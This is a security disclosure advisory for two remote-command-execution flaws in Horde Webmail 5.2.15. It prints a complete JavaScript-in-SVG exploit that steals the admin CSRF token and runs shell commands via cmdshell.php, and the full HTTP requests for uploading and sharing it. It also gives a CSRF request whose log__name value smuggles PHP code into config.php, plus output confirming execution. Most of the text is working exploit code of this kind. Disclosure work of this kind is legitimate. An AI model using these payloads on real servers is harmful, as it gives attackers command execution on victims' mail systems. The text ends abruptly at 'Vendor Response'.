SSD Advisory – Horde Webmail Multiple Vulnerabilities

Vulnerabilities Description
The following report describes two (2) different vulnerabilities found in Horde Webmail (version 5.2.15), used by hundred of thousands websites around the world. The vulnerabilities allows the attacker to gain remote command execution.
The following vulnerabilities in Horde were found:

  • PHP script execution via CSRF attack
  • Upload an SVG image file containing malicious Javascript code

Credit
An independent security researcher Dawid Golunski (https://legalhackers.com/) has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Upload an SVG image file containing malicious Javascript code
Horde Webmail does not perform any validation in regards to SVG files. It is possible for the attacker to upload an SVG image file containing malicious Javascript code.
An attacker could send a victim, user or administrator, an SVG file which when it is opened within an email under Horde Webmail it would execute malicious Javascript code which performs certain unauthenticated actions on behalf of the user/administrator.
Because Horde Webmail contains a shell command tool within the administrator control panel, it is possible to exploit the issue to make an HTTP request to the cmdshell feature and gain command execution.
The cmdshell feature can be found at: https://[hostname]/horde/admin/cmdshell.php

<form action="/horde/admin/cmdshell.php" method="post">
  <input type="hidden" name="token" value="pUNc9wsuMSaFwFe-zlOMngO" />
[...]
  <input type="submit" class="horde-default" value="Execute" />
</form>

Proof of Concept
The cmdshell form contains an anti-CSRF token. To execute a request an attacker must extract the token.
An attacker can send a malicious SVG file by email with SVG image attachment, but he can also upload it using the FileManager feature:

POST /horde/gollem/ HTTP/1.1
Host: trusty
Content-Type: multipart/form-data; boundary=---------------------------4059810323176972821774920996
Content-Length: 3117
-----------------------------4059810323176972821774920996
Content-Disposition: form-data; name="actionID"
upload_file
-----------------------------4059810323176972821774920996
Content-Disposition: form-data; name="chmod"
777
-----------------------------4059810323176972821774920996
[...]
-----------------------------4059810323176972821774920996
Content-Disposition: form-data; name="itemTypes[]"
svg
-----------------------------4059810323176972821774920996
Content-Disposition: form-data; name="file_upload_1"; filename="cmdsh_poc.svg"
Content-Type: image/svg+xml
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="68" height="68" viewBox="-56 -56 99 99" version="1.1">
<script>
// Horde Webmail SVG/XSS cmdshell exploit
// by Dawid Golunski
function handler() {
  if(this.status == 200) {
    // success! Got token!
    // alert(this.responseText);
    var str = this.responseText.match(/input type="hidden" name="token" value="(.+)"/);
    var token = str[1];
    //alert("token: ["+token+"]");
    // Execute command via second HTTP (POST) request to cmdshell.php
    var req2= new XMLHttpRequest();
    req2.open("POST", "/horde/admin/cmdshell.php");
    req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    req2.send("token=" +token+ "&amp;"+ "cmd=id+&gt;/tmp/HordeHacked");
  } else {
    //alert('something went wrong');
  }
}
// Request token page and execute cmd via handler()
var req1 = new XMLHttpRequest();
req1.onload = handler;
req1.open("GET", "/horde/admin/cmdshell.php");
req1.send();
</script>
<circle
cx="0"
cy="0"
r="34"
fill="#c8c8c8"/>
</svg>
-----------------------------4059810323176972821774920996--

The attacker can then share the entire folder with anyone by using this HTTP request:

POST /horde/services/shares/edit.php HTTP/1.1
Host: [hostname]
Content-Type: application/x-www-form-urlencoded
Content-Length: 229
token=USeS6Q7PQrfwbw1RM9Eiy2e&actionID=editform&cid=2&app=gollem&owner_input=hacker&default_show=on&default_read=on&guest_show=on&guest_read=on&creator_show=on&creator_read=on&u_names%5B%7C%7Cnew_input%5D=&g_names%5B%7C%7Cnew%5D=

And then access it using:
http://[hostname]/webmail/gollem/view.php?type=svg&file=cmdsh_poc.svg&dir=%2Fhome%2Fhacker&driver=sql&uniq=1460824490572
When the malicious SVG file is saved and shared, he can then simply copy the link to the file:
https://[hostname]/horde/gollem/view.php?type=svg&file=cmdsh_poc.svg&dir=%2Fhome%2Fhacker&driver=sql&uniq=1455734921621
The link can now be sent to an administrator by email, or implemented within another website to be opened automatically.
The SVG presented above will automatically get CSRF token from cmdshell.php script, and eventually run the following command:

id >/tmp/HordeHacked

It is important to verify in the above PoC, that the webmail path (e.g. /horde) match the victim’s installation.
The SVG could contain a different payloads that perform different actions without user’s permission such as deleting their files, sharing their folders etc. Therefore, this issue can be exploited not only to execute shell commands in the context of an admin user but also to exploit normal users.
When admin opens the malicious SVG image, it will generate the following request and use it to fetch the CSRF token:

GET /horde/admin/cmdshell.php HTTP/1.1
Host: [hostname]

Then the following POST request will be sent (with stolen CSRF token):

POST /horde/admin/cmdshell.php HTTP/1.1
Host: [hostname]
Content-Type: application/x-www-form-urlencoded
token=m03-Sr2cp1Mi6pgUULKyAVD&cmd=id+>/tmp/HordeHacked

Which will execute the command:

id >/tmp/HordeHacked

We can confirm that the command successfully executed by checking for the presence of the /tmp/HordeHacked file:

# ls -l /tmp/HordeHacked
-rw------- 1 www-data www-data 80 Apr 16 17:02 /tmp/HordeHacked
# cat /tmp/HordeHacked
uid=33(www-data) gid=33(www-data) groups=33(www-data)

As we can see, the command executed with apache/www-data privileges.
PHP script execution via CSRF attack
Installations of Horde Webmail with writable configuration files are vulnerable to arbitrary PHP script execution via CSRF attack. Write permissions are often set on config files to allow administrators to manage Horde installation through the web interface. Example vulnerable installation instructions with such permission set (linked from the official Horde website) can be seen at:
https://www.otherdata.com/knowledge-base/linux-howtos/installing-horde-groupware-webmail-edition-centos-7
Proof of Concept
The following HTTP request:

POST /horde/admin/config/config.php HTTP/1.1
Host: [hostname]
Cookie: PHPSESSID=n5t7cf87oag4cdl61mg3uubni0; language=en_US; Horde=7utov6tlotiqoovi2qq2ktl890; horde_secret_key=7utov6tlotiqoovi2qq2ktl890
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 3338
formname=horde_config_form
&__formOpenSection=db
&app=horde
&debug_level=E_ALL+%26+%7EE_NOTICE
&max_exec_time=0
&compress_pages=on
&secret_key=3tMIwLcrtQ1bXmx9piZeJIT
&umask=077
&testdisable=on
&tmpdir=
&use_ssl=2
&server__name=%24_SERVER%5B%27SERVER_NAME%27%5D
&server__port=
&urls__token_lifetime=30
&urls__hmac_lifetime=30
&urls__pretty=false
&safe_ips=
&session__name=Horde
&session__use_only_cookies=on
&session__timeout=0
&session__cache_limiter=nocache
&session__max_time=72000
&cookie__domain=%24_SERVER%5B%27SERVER_NAME%27%5D
&cookie__path=%2F
&sql__phptype=false
&nosql__phptype=false
&ldap__useldap=false
&auth__admins=Administrator
&auth__checkip=on
&auth__checkbrowser=on
&auth__resetpassword=true
&auth__resetpassword_from=
&auth__alternate_login=false
&auth__redirect_on_logout=false
&auth__list_users=list
&auth__driver=auto
&auth__params__username=Administrator
&auth__params__password=
&auth__params__login_block_count=5
&auth__params__login_block_time=5
&tos__file=
&signup__allow=false
&log__enabled=true
&log__priority=INFO
&log__ident=HORDE
&log__time_format=
&log__type=syslog
&log__name=LOG_USER%3b+file_put_contents('/tmp/hordehack','made+it!')
&prefs__maxsize=65535
&prefs__driver=Sql
&prefs__params__driverconfig=horde
&prefs__params__table=
&alarms__driver=Sql
&alarms__params__driverconfig=horde
&alarms__params__table=
&alarms__params__ttl=300
&group__driver=Sql
&group__params__driverconfig=horde
&perms__driver=Sql
&perms__driverconfig=horde
&share__auto_create=on
&share__world=on
&share__driver=Sqlng
&cache__default_lifetime=86400
&cache__driver=File
&cache__params__dir=
&cache__params__sub=0
&cache__params__prefix=
&cache__use_memorycache=
&cachecss=false
&cachecssparams__url_version_param=on
&cachejs=false
&cachejsparams__url_version_param=on
&cachethemes=false
&lock__driver=Sql
&lock__params__driverconfig=horde
&lock__params__table=
&token__timeout=
&token__driver=Sql
&token__params__driverconfig=horde
&token__params__table=
&history__driver=Sql
&history__params__driverconfig=horde
&davstorage__driver=Sql
&davstorage__params__driverconfig=horde
&mailer__type=sendmail
&mailer__params__sendmail_path=%2Fusr%2Flib%2Fsendmail
&mailer__params__sendmail_args=-oi
&mailer__params__sendmail_eol=
&vfs__type=Sql
&vfs__params__driverconfig=horde
&sessionhandler__type=Builtin
&http__proxy__proxy_host=
&http__proxy__proxy_port=
&http__proxy__proxy_user=
&http__proxy__proxy_pass=
&spell__driver=
&gnupg__path=
&gnupg__keyserver%5B%5D=pool.sks-keyservers.net
&gnupg__timeout=10
&openssl__cafile=
&openssl__path=
&image__driver=false
&exif__driver=Bundled
&mime__magic_db=
&geoip__datafile=
&timezone__location=ftp%3A%2F%2Fftp.iana.org%2Ftz%2Ftzdata-latest.tar.gz
&problems__tickets=false
&problems__email=webmaster%40example.com
&problems__maildomain=example.com
&problems__username=
&problems__password=
&problems__attachments=on
&menu__links__help=all
&menu__links__prefs=authenticated
&menu__links__problem=all
&menu__links__login=all
&menu__links__logout=authenticated
&fortune__exec_path=
&accounts__driver=null
&user__select_view=true
&api__googlemaps=
&api__googlesafebrowsing=
&api__googlesearch=
&api__yahoomaps=
&api__cloudmade=
&api__mytopo=
&api__mytopo_partnerID=
&api__bing=
&facebook__enabled=false
&twitter__enabled=false
&urlshortener=false
&weather__provider=false
&imap__enabled=false
&imsp__enabled=false
&kolab__enabled=false
&hashtable__driver=none
&activesync__enabled=false
&submitbutton=Generate+Horde+Configuration

Would make the configuration script assign the following value to the log_name parameter:

log__name=LOG_USER%3b+file_put_contents('/tmp/hordehack','made+it!')

Due to missing input validation, the following configuration settings will be saved within /usr/share/horde/config/config.php:

<?php
[...]
$conf['auth']['params']['login_block_time'] = 5;
$conf['signup']['allow'] = false;
$conf['log']['priority'] = 'INFO';
$conf['log']['ident'] = 'HORDE';
$conf['log']['name'] = LOG_USER; file_put_contents('/tmp/hordhack','made it');
$conf['log']['type'] = 'syslog';
$conf['log']['enabled'] = true;
[...]

As soon as Horde web interface (e.g. http://server-domain/horde/) interface is accessed again, Horde will read its configuration and execute the injected script.
This can be verified by listing the file:

# ls -l /tmp/hordehack
-rw-r--r-- 1 www-data www-data 16 Apr 12 11:28 /tmp/hordehack
# cat /tmp/hordehack
made it!

Due to the missing CSRF token, such HTTP request could be performed on behalf of a victim user if they visit a malicious link provided by an attacker.
Vendor Response
Horde Webmail has released a patch and an advisory: